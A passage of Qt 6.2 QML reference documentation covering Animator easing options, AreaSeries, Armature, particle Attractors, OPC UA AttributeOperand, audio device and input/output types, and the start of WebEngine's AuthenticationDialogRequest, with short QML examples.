| `Easing.OutInSine` | Easing curve for a sinusoidal (sin(t)) function: deceleration until halfway, then acceleration. |  |
| `Easing.InExpo` | Easing curve for an exponential (2^t) function: accelerating from zero velocity. |  |
| `Easing.OutExpo` | Easing curve for an exponential (2^t) function: decelerating to zero velocity. |  |
| `Easing.InOutExpo` | Easing curve for an exponential (2^t) function: acceleration until halfway, then deceleration. |  |
| `Easing.OutInExpo` | Easing curve for an exponential (2^t) function: deceleration until halfway, then acceleration. |  |
| `Easing.InCirc` | Easing curve for a circular (sqrt(1-t^2)) function: accelerating from zero velocity. |  |
| `Easing.OutCirc` | Easing curve for a circular (sqrt(1-t^2)) function: decelerating to zero velocity. |  |
| `Easing.InOutCirc` | Easing curve for a circular (sqrt(1-t^2)) function: acceleration until halfway, then deceleration. |  |
| `Easing.OutInCirc` | Easing curve for a circular (sqrt(1-t^2)) function: deceleration until halfway, then acceleration. |  |
| `Easing.InElastic` | Easing curve for an elastic (exponentially decaying sine wave) function: accelerating from zero velocity. The peak amplitude can be set with the *amplitude* parameter, and the period of decay by the *period* parameter. |  |
| `Easing.OutElastic` | Easing curve for an elastic (exponentially decaying sine wave) function: decelerating to zero velocity. The peak amplitude can be set with the *amplitude* parameter, and the period of decay by the *period* parameter. |  |
| `Easing.InOutElastic` | Easing curve for an elastic (exponentially decaying sine wave) function: acceleration until halfway, then deceleration. |  |
| `Easing.OutInElastic` | Easing curve for an elastic (exponentially decaying sine wave) function: deceleration until halfway, then acceleration. |  |
| `Easing.InBack` | Easing curve for a back (overshooting cubic function: (s+1)\*t^3 - s\*t^2) easing in: accelerating from zero velocity. |  |
| `Easing.OutBack` | Easing curve for a back (overshooting cubic function: (s+1)\*t^3 - s\*t^2) easing out: decelerating to zero velocity. |  |
| `Easing.InOutBack` | Easing curve for a back (overshooting cubic function: (s+1)\*t^3 - s\*t^2) easing in/out: acceleration until halfway, then deceleration. |  |
| `Easing.OutInBack` | Easing curve for a back (overshooting cubic easing: (s+1)\*t^3 - s\*t^2) easing out/in: deceleration until halfway, then acceleration. |  |
| `Easing.InBounce` | Easing curve for a bounce (exponentially decaying parabolic bounce) function: accelerating from zero velocity. |  |
| `Easing.OutBounce` | Easing curve for a bounce (exponentially decaying parabolic bounce) function: decelerating to zero velocity. |  |
| `Easing.InOutBounce` | Easing curve for a bounce (exponentially decaying parabolic bounce) function easing in/out: acceleration until halfway, then deceleration. |  |
| `Easing.OutInBounce` | Easing curve for a bounce (exponentially decaying parabolic bounce) function easing out/in: deceleration until halfway, then acceleration. |  |
| `Easing.BezierSpline` | Custom easing curve defined by the easing.bezierCurve property. |  |

 `easing.amplitude` is only applicable for bounce and elastic curves (curves of type `Easing.InBounce`, `Easing.OutBounce`, `Easing.InOutBounce`, `Easing.OutInBounce`, `Easing.InElastic`, `Easing.OutElastic`, `Easing.InOutElastic` or `Easing.OutInElastic`).

 `easing.overshoot` is only applicable if `easing.type` is: `Easing.InBack`, `Easing.OutBack`, `Easing.InOutBack` or `Easing.OutInBack`.

 `easing.period` is only applicable if easing.type is: `Easing.InElastic`, `Easing.OutElastic`, `Easing.InOutElastic` or `Easing.OutInElastic`.

 `easing.bezierCurve` is only applicable if easing.type is: `Easing.BezierSpline`. This property is a list<real> containing groups of three points defining a curve from 0,0 to 1,1 - control1, control2, end point: [cx1, cy1, cx2, cy2, endx, endy, ...]. The last point must be 1,1.

 See the [Easing Curves](https://doc.qt.io/qt-6.2/qtquick-animation-example.html#easing-curves) for a demonstration of the different easing settings.

 ###  from : [real](qml-real)

 This property holds the starting value for the animation.

 If the Animator is defined within a [Transition](https://doc.qt.io/qt-6.2/qmlexampletoggleswitch.html#transition) or [Behavior](qml-qtquick-behavior), this value defaults to the value defined in the starting state of the [Transition](https://doc.qt.io/qt-6.2/qmlexampletoggleswitch.html#transition), or the current value of the property at the moment the [Behavior](qml-qtquick-behavior) is triggered.

 **See also** [Animation and Transitions in Qt Quick](qtquick-statesanimations-animations).

 ###  target : [QtQuick::Item](qml-qtquick-item)

 This property holds the target item of the animator.

  **Note:** Animator targets must be Item based types.

  ###  to : [real](qml-real)

 This property holds the end value for the animation.

 If the Animator is defined within a [Transition](https://doc.qt.io/qt-6.2/qmlexampletoggleswitch.html#transition) or [Behavior](qml-qtquick-behavior), this value defaults to the value defined in the end state of the [Transition](https://doc.qt.io/qt-6.2/qmlexampletoggleswitch.html#transition), or the value of the property change that triggered the [Behavior](qml-qtquick-behavior).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-animator.html>

AreaSeries QML Type
===================

 Presents data in area charts. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtCharts |
|  Instantiates: | [QAreaSeries](qareaseries) |
|  Inherits: | [AbstractSeries](qml-qtcharts-abstractseries) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtcharts-areaseries-members.html)

 Properties
----------

 * **[axisAngular](qml-qtcharts-areaseries#axisAngular-prop)** : AbstractAxis
* **[axisRadial](qml-qtcharts-areaseries#axisRadial-prop)** : AbstractAxis
* **[axisX](qml-qtcharts-areaseries#axisX-prop)** : AbstractAxis
* **[axisXTop](qml-qtcharts-areaseries#axisXTop-prop)** : AbstractAxis
* **[axisY](qml-qtcharts-areaseries#axisY-prop)** : AbstractAxis
* **[axisYRight](qml-qtcharts-areaseries#axisYRight-prop)** : AbstractAxis
* **[borderColor](qml-qtcharts-areaseries#borderColor-prop)** : color
* **[borderWidth](qml-qtcharts-areaseries#borderWidth-prop)** : real
* **[brush](qml-qtcharts-areaseries#brush-prop)** : brush
* **[brushFilename](qml-qtcharts-areaseries#brushFilename-prop)** : QString
* **[color](qml-qtcharts-areaseries#color-prop)** : color
* **[lowerSeries](qml-qtcharts-areaseries#lowerSeries-prop)** : LineSeries
* **[pointLabelsClipping](qml-qtcharts-areaseries#pointLabelsClipping-prop)** : bool
* **[pointLabelsColor](qml-qtcharts-areaseries#pointLabelsColor-prop)** : font
* **[pointLabelsFont](qml-qtcharts-areaseries#pointLabelsFont-prop)** : font
* **[pointLabelsFormat](qml-qtcharts-areaseries#pointLabelsFormat-prop)** : string
* **[pointLabelsVisible](qml-qtcharts-areaseries#pointLabelsVisible-prop)** : bool
* **[upperSeries](qml-qtcharts-areaseries#upperSeries-prop)** : LineSeries

 Signals
-------

 * **[clicked](qml-qtcharts-areaseries#clicked-signal)**(point *point*)
* **[doubleClicked](qml-qtcharts-areaseries#doubleClicked-signal)**(point *point*)
* **[hovered](qml-qtcharts-areaseries#hovered-signal)**(point *point*, bool *state*)
* **[pressed](qml-qtcharts-areaseries#pressed-signal)**(point *point*)
* **[released](qml-qtcharts-areaseries#released-signal)**(point *point*)

 Detailed Description
--------------------

 An area series is used to show quantitative data. It is based on a line series, in the way that the area between the boundary lines is emphasized with color. The [LineSeries](qml-qtcharts-lineseries) type defines the *upper* boundary of the area. The area chart is drawn using the bottom of the plot area as the *lower* boundary by default. Instead of the bottom of the plot area, the lower boundary can be specified by another line. In that case, the AreaSeries should use two [LineSeries](qml-qtcharts-lineseries) types.

  **Note:** The terms *upper* and *lower* boundary can be misleading in cases where the value of the lower boundary is greater than that of the upper boundary. The main point is that the area between these two boundary lines will be filled.

  ![]


The following QML shows how to create a simple area chart:

 
```
ChartView {
    title: "NHL All-Star Team Players"
    anchors.fill: parent
    antialiasing: true

    // Define x-axis to be used with the series instead of default one
    ValueAxis {
        id: valueAxis
        min: 2000
        max: 2011
        tickCount: 12
        labelFormat: "%.0f"
    }

    AreaSeries {
        name: "Russian"
        axisX: valueAxis
        upperSeries: LineSeries {
            XYPoint { x: 2000; y: 1 }
            XYPoint { x: 2001; y: 1 }
            XYPoint { x: 2002; y: 1 }
            XYPoint { x: 2003; y: 1 }
            XYPoint { x: 2004; y: 1 }
            XYPoint { x: 2005; y: 0 }
            XYPoint { x: 2006; y: 1 }
            XYPoint { x: 2007; y: 1 }
            XYPoint { x: 2008; y: 4 }
            XYPoint { x: 2009; y: 3 }
            XYPoint { x: 2010; y: 2 }
            XYPoint { x: 2011; y: 1 }
        }
    }
```
  **Note:** Adding the same line series to a chart and area series is not supported. The series used as boundary lines should be defined only for the area series.

  Property Documentation
----------------------

 ###  axisAngular : [AbstractAxis](qml-qtcharts-abstractaxis)

 The angular axis used for the series, drawn around the polar chart view.

 **See also** [axisX](qml-qtcharts-areaseries#axisX-prop) and [PolarChartView](qml-qtcharts-polarchartview).

 ###  axisRadial : [AbstractAxis](qml-qtcharts-abstractaxis)

 The radial axis used for the series, drawn inside the polar chart view.

 **See also** [axisY](qml-qtcharts-areaseries#axisY-prop) and [PolarChartView](qml-qtcharts-polarchartview).

 ###  axisX : [AbstractAxis](qml-qtcharts-abstractaxis)

 The x-axis used for the series. If you leave both axisX and [axisXTop](qml-qtcharts-areaseries#axisXTop-prop) undefined, a value axis is created for the series.

 **See also** [axisXTop](qml-qtcharts-areaseries#axisXTop-prop) and [ValueAxis](qml-qtcharts-valueaxis).

 ###  axisXTop : [AbstractAxis](qml-qtcharts-abstractaxis)

 The x-axis used for the series, drawn on top of the chart view.

  **Note:** You can only provide either [axisX](qml-qtcharts-areaseries#axisX-prop) or axisXTop, not both.

  **See also** [axisX](qml-qtcharts-areaseries#axisX-prop).

 ###  axisY : [AbstractAxis](qml-qtcharts-abstractaxis)

 The y-axis used for the series. If you leave both axisY and [axisYRight](qml-qtcharts-areaseries#axisYRight-prop) undefined, a value axis is created for the series.

 **See also** [axisYRight](qml-qtcharts-areaseries#axisYRight-prop) and [ValueAxis](qml-qtcharts-valueaxis).

 ###  axisYRight : [AbstractAxis](qml-qtcharts-abstractaxis)

 The y-axis used for the series, drawn to the right on the chart view.

  **Note:** You can only provide either [axisY](qml-qtcharts-areaseries#axisY-prop) or axisYRight, not both.

  **See also** [axisY](qml-qtcharts-areaseries#axisY-prop).

 ###  borderColor : [color](qml-color)

 Line (pen) color of the series.

 ###  borderWidth : [real](qml-real)

 The width of the border line. By default, the width is 2.0.

 ###  brush : brush

 The brush used to draw to draw the line for this series.

 ###  brushFilename : QString

 The name of the file used as a brush image for the series.

 ###  color : [color](qml-color)

 Fill (brush) color of the series.

 ###  lowerSeries : [LineSeries](qml-qtcharts-lineseries)

 The lower one of the two line series used to define area series boundaries.

  **Note:** If [AreaSeries](qml-qtcharts-areaseries) was constructed without a lowerSeries, this is null.

  ###  pointLabelsClipping : [bool](qml-bool)

 Defines the clipping for data point labels. True by default. The labels on the edge of the plot area are cut when clipping is enabled.

 **See also** [pointLabelsVisible](qml-qtcharts-areaseries#pointLabelsVisible-prop).

 ###  pointLabelsColor : [font](qml-font)

 Defines the color used for data point labels. By default, the color is the color of the brush defined for labels in the theme.

 **See also** [pointLabelsFormat](qml-qtcharts-areaseries#pointLabelsFormat-prop).

 ###  pointLabelsFont : [font](qml-font)

 Defines the font used for data point labels.

 **See also** [pointLabelsFormat](qml-qtcharts-areaseries#pointLabelsFormat-prop).

 ###  pointLabelsFormat : [string](qml-string)

 The format used for showing labels with series points.

 **See also** [QAreaSeries::pointLabelsFormat](qareaseries#pointLabelsFormat-prop), [pointLabelsVisible](qml-qtcharts-areaseries#pointLabelsVisible-prop), [pointLabelsFont](qml-qtcharts-areaseries#pointLabelsFont-prop), and [pointLabelsColor](qml-qtcharts-areaseries#pointLabelsColor-prop).

 ###  pointLabelsVisible : [bool](qml-bool)

 Defines the visibility of data point labels.

 **See also** [pointLabelsFormat](qml-qtcharts-areaseries#pointLabelsFormat-prop) and [pointLabelsClipping](qml-qtcharts-areaseries#pointLabelsClipping-prop).

 ###  upperSeries : [LineSeries](qml-qtcharts-lineseries)

 The upper one of the two line series used to define area series boundaries.

 Signal Documentation
--------------------

 ###  clicked([point](qml-point) *point*)

 This signal is emitted when the user triggers a press on *point* by clicking it in an area chart.

 The corresponding signal handler is `onClicked`.

 **Note:** The corresponding handler is `onClicked`.

 **See also** [pressed](qml-qtcharts-areaseries#pressed-signal), [released](qml-qtcharts-areaseries#released-signal), and [doubleClicked](qml-qtcharts-areaseries#doubleClicked-signal).

 ###  doubleClicked([point](qml-point) *point*)

 This signal is emitted when the user triggers the first press in an area chart by doubleclicking *point*.

 The corresponding signal handler is `onDoubleClicked`.

 **Note:** The corresponding handler is `onDoubleClicked`.

 **See also** [pressed](qml-qtcharts-areaseries#pressed-signal), [released](qml-qtcharts-areaseries#released-signal), and [clicked](qml-qtcharts-areaseries#clicked-signal).

 ###  hovered([point](qml-point) *point*, [bool](qml-bool) *state*)

 This signal is emitted when the user hovers the mouse cursor over a series or moves it away from the series. *point* shows the origin (coordinate) of the hover event. *state* is `true` when the cursor hovers over the series and turns *false* when it moves away from the series.

 The corresponding signal handler is `onHovered`.

 **Note:** The corresponding handler is `onHovered`.

 ###  pressed([point](qml-point) *point*)

 This signal is emitted when the user presses the point specified by *point* in an area chart.

 The corresponding signal handler is `onPressed`.

 **Note:** The corresponding handler is `onPressed`.

 **See also** [clicked](qml-qtcharts-areaseries#clicked-signal), [released](qml-qtcharts-areaseries#released-signal), and [doubleClicked](qml-qtcharts-areaseries#doubleClicked-signal).

 ###  released([point](qml-point) *point*)

 This signal is emitted when the user releases a press that was triggered on *point* in an area chart.

 The corresponding signal handler is `onReleased`.

 **Note:** The corresponding handler is `onReleased`.

 **See also** [pressed](qml-qtcharts-areaseries#pressed-signal), [clicked](qml-qtcharts-areaseries#clicked-signal), and [doubleClicked](qml-qtcharts-areaseries#doubleClicked-signal).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtcharts-areaseries.html>

Armature QML Type
=================

 Used to calculate skinning transform matrices and set them on shaders. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Core |
|  Since: |  Qt 5.10 |
|  Instantiates: | [QArmature](qt3dcore-qarmature) |
|  Inherits: | [Component3D](qml-qt3d-core-component3d) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-core-armature-members.html)

 Properties
----------

 * **[skeleton](qml-qt3d-core-armature#skeleton-prop)** : AbstractSkeleton

 Detailed Description
--------------------

 The Armature component is aggregated by entities to give them the ability to calculate the palette of skinning transform matrices needed to properly render skinned meshes.

 Each vertex in a skinned mesh is associated (bound) to up to 4 joints in a skeleton. For each joint affecting a vertex the mesh also provides a weight which determines the level of influence of the corresponding joint. The skinning palette used for performing the transformation of skinned vertices is provided by the Armature and is calculated from the joints contained in the referenced skeleton.

 Updating the local transform of a joint results in the skinning matrices being recalculated and the skinned mesh vertices bound to that joint moving accordingly.

 Property Documentation
----------------------

 ###  skeleton : [AbstractSkeleton](qml-qt3d-core-abstractskeleton)

 Holds the skeleton used to calculate the skinning transform matrix palette.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-core-armature.html>

Attractor QML Type
==================

 For attracting particles towards a specific point. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Particles |
|  Inherits: | [Affector](qml-qtquick-particles-affector) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-particles-attractor-members.html)

 Properties
----------

 * **[affectedParameter](qml-qtquick-particles-attractor#affectedParameter-prop)** : AffectableParameter
* **[proportionalToDistance](qml-qtquick-particles-attractor#proportionalToDistance-prop)** : Proportion

 Detailed Description
--------------------

 Note that the size and position of this element affects which particles it affects. The size of the point attracted to is always 0x0, and the location of that point is specified by the pointX and pointY properties.

 Note that Attractor has the standard Item x,y,width and height properties. Like other affectors, these represent the affected area. They do not represent the 0x0 point which is the target of the attraction.

 Property Documentation
----------------------

 ###  affectedParameter : AffectableParameter

 What attribute of particles is directly affected.

 * Attractor.Position
* Attractor.Velocity
* Attractor.Acceleration

 ###  proportionalToDistance : Proportion

 How the distance from the particle to the point affects the strength of the attraction.

 * Attractor.Constant
* Attractor.Linear
* Attractor.InverseLinear
* Attractor.Quadratic
* Attractor.InverseQuadratic



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-particles-attractor.html>

Attractor3D QML Type
====================

 Attracts particles towards a position or a shape. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D.Particles3D |
|  Since: |  Qt 6.2 |
|  Inherits: | [Affector3D](qml-qtquick3d-particles3d-affector3d) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-particles3d-attractor3d-members.html)

 Properties
----------

 * **[duration](qml-qtquick3d-particles3d-attractor3d#duration-prop)** : int
* **[durationVariation](qml-qtquick3d-particles3d-attractor3d#durationVariation-prop)** : int
* **[hideAtEnd](qml-qtquick3d-particles3d-attractor3d#hideAtEnd-prop)** : bool
* **[positionVariation](qml-qtquick3d-particles3d-attractor3d#positionVariation-prop)** : vector3d
* **[positionsAmount](qml-qtquick3d-particles3d-attractor3d#positionsAmount-prop)** : int
* **[shape](qml-qtquick3d-particles3d-attractor3d#shape-prop)** : ParticleAbstractShape3D
* **[useCachedPositions](qml-qtquick3d-particles3d-attractor3d#useCachedPositions-prop)** : bool

 Detailed Description
--------------------

 This element attracts particles towards a position inside the 3D view. To model the gravity of a massive object whose center of gravity is far away, use [Gravity3D](qml-qtquick3d-particles3d-gravity3d).

 The attraction position is defined either with the [position](qml-qtquick3d-node#position-prop) and [positionVariation](qml-qtquick3d-particles3d-attractor3d#positionVariation-prop) or with [shape](qml-qtquick3d-particles3d-attractor3d#shape-prop). If both are defined, [shape](qml-qtquick3d-particles3d-attractor3d#shape-prop) is used.

 Property Documentation
----------------------

 ###  duration : [int](qml-int)

 This property defines the duration in milliseconds how long it takes for particles to reach the attaction position. When the value is -1, particle lifeSpan is used as the duration.

 The default value is `-1`.

 ###  durationVariation : [int](qml-int)

 This property defines the duration variation in milliseconds. The actual duration to reach attractor is between `duration` - `durationVariation` and `duration` + `durationVariation`.

 The default value is `0` (no variation).

 ###  hideAtEnd : [bool](qml-bool)

 This property defines if the particle should disappear when it reaches the attractor.

 The default value is `false`.

 ###  positionVariation : [vector3d](qml-vector3d)

 This property defines the variation on attract position. It can be used to not attract into a single point, but randomly towards a wider area. Here is an example how to attract particles into some random point inside (50, 50, 50) cube at position (100, 0, 0) within 2 to 4 seconds:

 
```
Attractor3D {
    position: Qt.vector3d(100, 0, 0)
    positionVariation: Qt.vector3d(50, 50, 50)
    duration: 3000
    durationVariation: 1000
}
```
 The default value is `(0, 0, 0)` (no variation).

 **See also** [Node::position](qml-qtquick3d-node#position-prop) and [shape](qml-qtquick3d-particles3d-attractor3d#shape-prop).

 ###  positionsAmount : [int](qml-int)

 This property defines the amount of possible positions stored within the attractor shape. By default the amount equals the particle count, but a lower amount can be used for a smaller cache. Higher amount can be used for additional randomization.

 ###  shape : [ParticleAbstractShape3D](qml-qtquick3d-particles3d-particleabstractshape3d)

 This property defines a [ParticleAbstractShape3D](qml-qtquick3d-particles3d-particleabstractshape3d) for particles attraction. Each particle will be attracted into a random position inside this shape. This is an alternative for defining [position](qml-qtquick3d-node#position-prop) and [positionVariation](qml-qtquick3d-particles3d-attractor3d#positionVariation-prop). Here is an example how to attract particles into some random point inside sphere by the end of the particles [lifeSpan](qml-qtquick3d-particles3d-particleemitter3d#lifeSpan-prop):

 
```
Attractor3D {
    position: Qt.vector3d(100, 0, 0)
    shape: ParticleShape3D {
        type: ParticleShape3D.Sphere
        fill: true
    }
}
```
 **See also** [Node::position](qml-qtquick3d-node#position-prop) and [positionVariation](qml-qtquick3d-particles3d-attractor3d#positionVariation-prop).

 ###  useCachedPositions : [bool](qml-bool)

 This property defines if the attractor caches possible positions within its shape. Cached positions give less random results but are better for performance.

 The default value is `true`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-particles3d-attractor3d.html>

AttributeOperand QML Type
=========================

 The OPC UA AttributeOperand type. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtOpcUa |
|  Since: |  QtOpcUa 5.13 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtopcua-attributeoperand-members.html)

 Properties
----------

 * **[alias](qml-qtopcua-attributeoperand#alias-prop)** : string
* **[browsePath](qml-qtopcua-attributeoperand#browsePath-prop)** : list<OpcUaNodeId>
* **[indexRange](qml-qtopcua-attributeoperand#indexRange-prop)** : string
* **[nodeAttribute](qml-qtopcua-attributeoperand#nodeAttribute-prop)** : Constants.NodeAttribute
* **[typeId](qml-qtopcua-attributeoperand#typeId-prop)** : string

 Detailed Description
--------------------

 The AttributeOperand is defined in OPC-UA part 4, 7.4.4.4. It has the same purpose as [SimpleAttributeOperand](qml-qtopcua-simpleattributeoperand) but has more configurable options.

 Property Documentation
----------------------

 ###  alias : [string](qml-string)

 Alias name for the operand. This allows using this instance as operand for other operations in the filter.

 ###  browsePath : [list](qml-list)<OpcUaNodeId>

 Browse path to the node holding the attribute.

 
```
import QtOpcUa 5.13 as QtOpcUa

QtOpcUA.AttributeOperand {
    ...
    browsePath: [
        QtOpcUa.NodeId {
            identifier: "Message"
            ns: "http://opcfoundation.org/UA/"
         }
         ...
    ]
}
```
 ###  indexRange : [string](qml-string)

 Index range string used to identify a single value or subset of the attribute's value.

 
```
import QtOpcUa 5.13 as QtOpcUa

QtOpcUa.AttributeOperand {
    ...
    indexRange: "0:2"
}
```
 ###  nodeAttribute : Constants.NodeAttribute

 Attribute of the node [browsePath](qml-qtopcua-attributeoperand#browsePath-prop) is pointing to. The default value is `Constants.NodeAttribute.Value`.

 
```
import QtOpcUa 5.13 as QtOpcUa

QtOpcUa.AttributeOperand {
    ...
    nodeAttribute: QtOpcUa.Constants.NodeAttribute.Value
}
```
 ###  typeId : [string](qml-string)

 Node id of the type definition node. The operand will be of the type or one of its subtypes.

 
```
import QtOpcUa 5.13 as QtOpcUa

QtOpcUa.AttributeOperand {
    ...
    typeId: "ns=0;i=2041"
}
```


 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtopcua-attributeoperand.html>

audioDevice QML Basic Type
==========================

 Methods
-------

 * string **[description](qml-audiodevice#description-method)**()
* string **[id](qml-audiodevice#id-method)**()
* bool **[isDefault](qml-audiodevice#isDefault-method)**()
* enumeration **[mode](qml-audiodevice#mode-method)**()

 The audioDevice value type describes the properties of an audio device that is connected to the system.

 The list of audio input or output devices can be queried from the [MediaDevices](qml-qtmultimedia-mediadevices) type. To select a certain audio device for input or output set it as the device on [AudioInput](qml-qtmultimedia-audioinput) or [AudioOutput](qml-qtmultimedia-audiooutput).

 
```
MediaPlayer {
    audioOutput: AudioOutput {
        device: mediaDevices.defaultAudioOutput
    }
}
MediaDevices {
    id: mediaDevices
}
```
 Method Documentation
--------------------

 ###  [string](qml-string) description()

 Returns a human readable name of the audio device.

 Use this string to present the device to the user.

 ###  [string](qml-string) id()

 Returns an identifier for the audio device.

 Device names vary depending on the platform/audio plugin being used.

 They are a unique identifier for the audio device.

 ###  [bool](qml-bool) isDefault()

 Returns true if this is the default audio device.

 ###  [enumeration](qml-enumeration) mode()

 Tells whether this device is an input or output device.

 The returned value can be one of the following:

 

| Property value | Description |
| --- | --- |
| AudioDevice.Null | A null device. |
| AudioDevice.Input | An input device. |
| AudioDevice.Output | An output device. |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-audiodevice.html>

AudioInput QML Type
===================

 An audio input to be used for capturing audio in a capture session. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtMultimedia |
|  Instantiates: | [QAudioInput](qaudioinput) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtmultimedia-audioinput-members.html)

 Properties
----------

 * **[device](qml-qtmultimedia-audioinput#device-prop)** : AudioDevice
* **[muted](qml-qtmultimedia-audioinput#muted-prop)** : bool
* **[volume](qml-qtmultimedia-audioinput#volume-prop)** : real

 Detailed Description
--------------------

 
```
CaptureSession {
    id: playMusic
    audioInput: AudioInput {
        volume: slider.value
    }
    recorder: MediaRecorder { ... }
}
Slider {
    id: slider
    from: 0.
    to: 1.
}
```
 You can use AudioInput together with a QtMultiMedia::CaptureSession to capture audio from an audio input device.

 **See also** [Camera](qml-qtmultimedia-camera) and [AudioOutput](qml-qtmultimedia-audiooutput).

 Property Documentation
----------------------

 ###  device : AudioDevice

 This property describes the audio device connected to this input.

 The device property represents the audio device this input is connected to. This property can be used to select an output device from the QtMultimedia::MediaDevices::audioInputs() list.

 ###  muted : [bool](qml-bool)

 This property holds whether the audio input is muted.

 Defaults to `false`.

 ###  volume : [real](qml-real)

 The volume is scaled linearly, ranging from `0` (silence) to `1` (full volume).

  **Note:** values outside this range will be clamped.

  By default the volume is `1`.

 UI volume controls should usually be scaled non-linearly. For example, using a logarithmic scale will produce linear changes in perceived loudness, which is what a user would normally expect from a volume control.

 **See also** [QAudio::convertVolume](qaudio#convertVolume)().



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtmultimedia-audioinput.html>

AudioOutput QML Type
====================

 An audio output to be used for playback or monitoring of a capture session. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtMultimedia |
|  Instantiates: | [QAudioOutput](qaudiooutput) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtmultimedia-audiooutput-members.html)

 Properties
----------

 * **[device](qml-qtmultimedia-audiooutput#device-prop)** : AudioDevice
* **[muted](qml-qtmultimedia-audiooutput#muted-prop)** : bool
* **[volume](qml-qtmultimedia-audiooutput#volume-prop)** : real

 Detailed Description
--------------------

 
```
MediaPlayer {
    id: playMusic
    source: "music.wav"
    audioOutput: AudioOutput {
        volume: slider.value
    }
}
Slider {
    id: slider
    from: 0.
    to: 1.
}
```
 You can use AudioOutput together with a QtMultiMedia::MediaPlayer to play audio content, or you can use it in conjunction with a MultiMedia::CaptureSession to monitor the audio processed by the capture session.

 **See also** [VideoOutput](qml-qtmultimedia-videooutput) and [AudioInput](qml-qtmultimedia-audioinput).

 Property Documentation
----------------------

 ###  device : AudioDevice

 This property describes the audio device connected to this output.

 The device property represents the audio device this output is connected to. This property can be used to select an output device from the QtMultimedia::MediaDevices::audioOutputs() list.

 ###  muted : [bool](qml-bool)

 This property holds whether the audio output is muted.

 Defaults to `false`.

 ###  volume : [real](qml-real)

 This property holds the volume of the audio output.

 The volume is scaled linearly from `0.0` (silence) to `1.0` (full volume). Values outside this range will be clamped: a value lower than 0.0 is set to 0.0, a value higher than 1.0 will set to 1.0.

 The default volume is `1.0`.

 UI [volume controls](https://www.dr-lex.be/info-stuff/volumecontrols.html) should usually be scaled non-linearly. For example, using a logarithmic scale will produce linear changes in perceived [loudness](http://www.sengpielaudio.com/calculator-loudness.htm), which is what a user would normally expect from a volume control.

 See [QtMultimedia.convertVolume](qaudio#convertVolume)() for more details.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtmultimedia-audiooutput.html>

AuthenticationDialogRequest QML Type
====================================

 A request for providing authentication credentials required by proxies or HTTP servers. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtWebEngine |
|  Since: |  QtWebEngine 1.4 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtwebengine-authenticationdialogrequest-members.html)

 Properties
----------

 * **[accepted](qml-qtwebengine-authenticationdialogrequest#accepted-prop)** : bool
* **[proxyHost](qml-qtwebengine-authenticationdialogrequest#proxyHost-prop)** : string
* **[realm](qml-qtwebengine-authenticationdialogrequest#realm-prop)** : string
* **[type](qml-qtwebengine-authenticationdialogrequest#type-prop)** : enumeration
* **[url](qml-qtwebengine-authenticationdialogrequest#url-prop)** : url

 Methods
-------

 * void **[dialogAccept](qml-qtwebengine-authenticationdialogrequest#dialogAccept-method)**(string *username*, string *password*)
* void **[dialogReject](qml-qtwebengine-authenticationdialogrequest#dialogReject-method)**()

 Detailed Description
--------------------

 An AuthenticationDialogRequest is passed as an argument of the [WebEngineView::authenticationDialogRequested](qml-qtwebengine-webengineview#authenticationDialogRequested-signal) signal. It is generated when basic HTTP or proxy authentication is required. The type of authentication can be checked with the [type](qml-qtwebengine-authenticationdialogrequest#type-prop) property.

 The [accepted](qml-qtwebengine-authenticationdialogrequest#accepted-prop) property of the request indicates whether the request is handled by the user code or the default dialog should be displayed. If you set the [accepted](qml-qtwebengine-authenticationdialogrequest#accepted-prop) property to `true`, make sure to call either [dialogAccept](qml-qtwebengine-authenticationdialogrequest#dialogAccept-method)() or [dialogReject](qml-qtwebengine-authenticationdialogrequest#dialogReject-method)() afterwards.

 The following code uses a custom dialog to handle the request:

 
```
WebEngineView {
    // ...
    onAuthenticationDialogRequested: function(request) {
        request.accepted = true;
        myDialog.request = request // keep the reference to the request
        myDialog.accept.connect(request.dialogAccept);
        myDialog.reject.connect(request.dialogReject);
        myDialog.visible = true;
    }
    // ...
}
```
 Property Documentation
----------------------

 ###  accepted : [bool](qml-bool)

 Indicates whether the authentication dialog request has been accepted by the signal handler.

 If the property is `false` after any signal handlers for [WebEngineView::authenticationDialogRequested](qml-qtwebengine-webengineview#authenticationDialogRequested-signal) have been executed, a default authentication dialog will be shown. To prevent this, set `request.accepted` to `true`.

 The default is `false`.

 ###  [read-only] proxyHost : [string](qml-string)

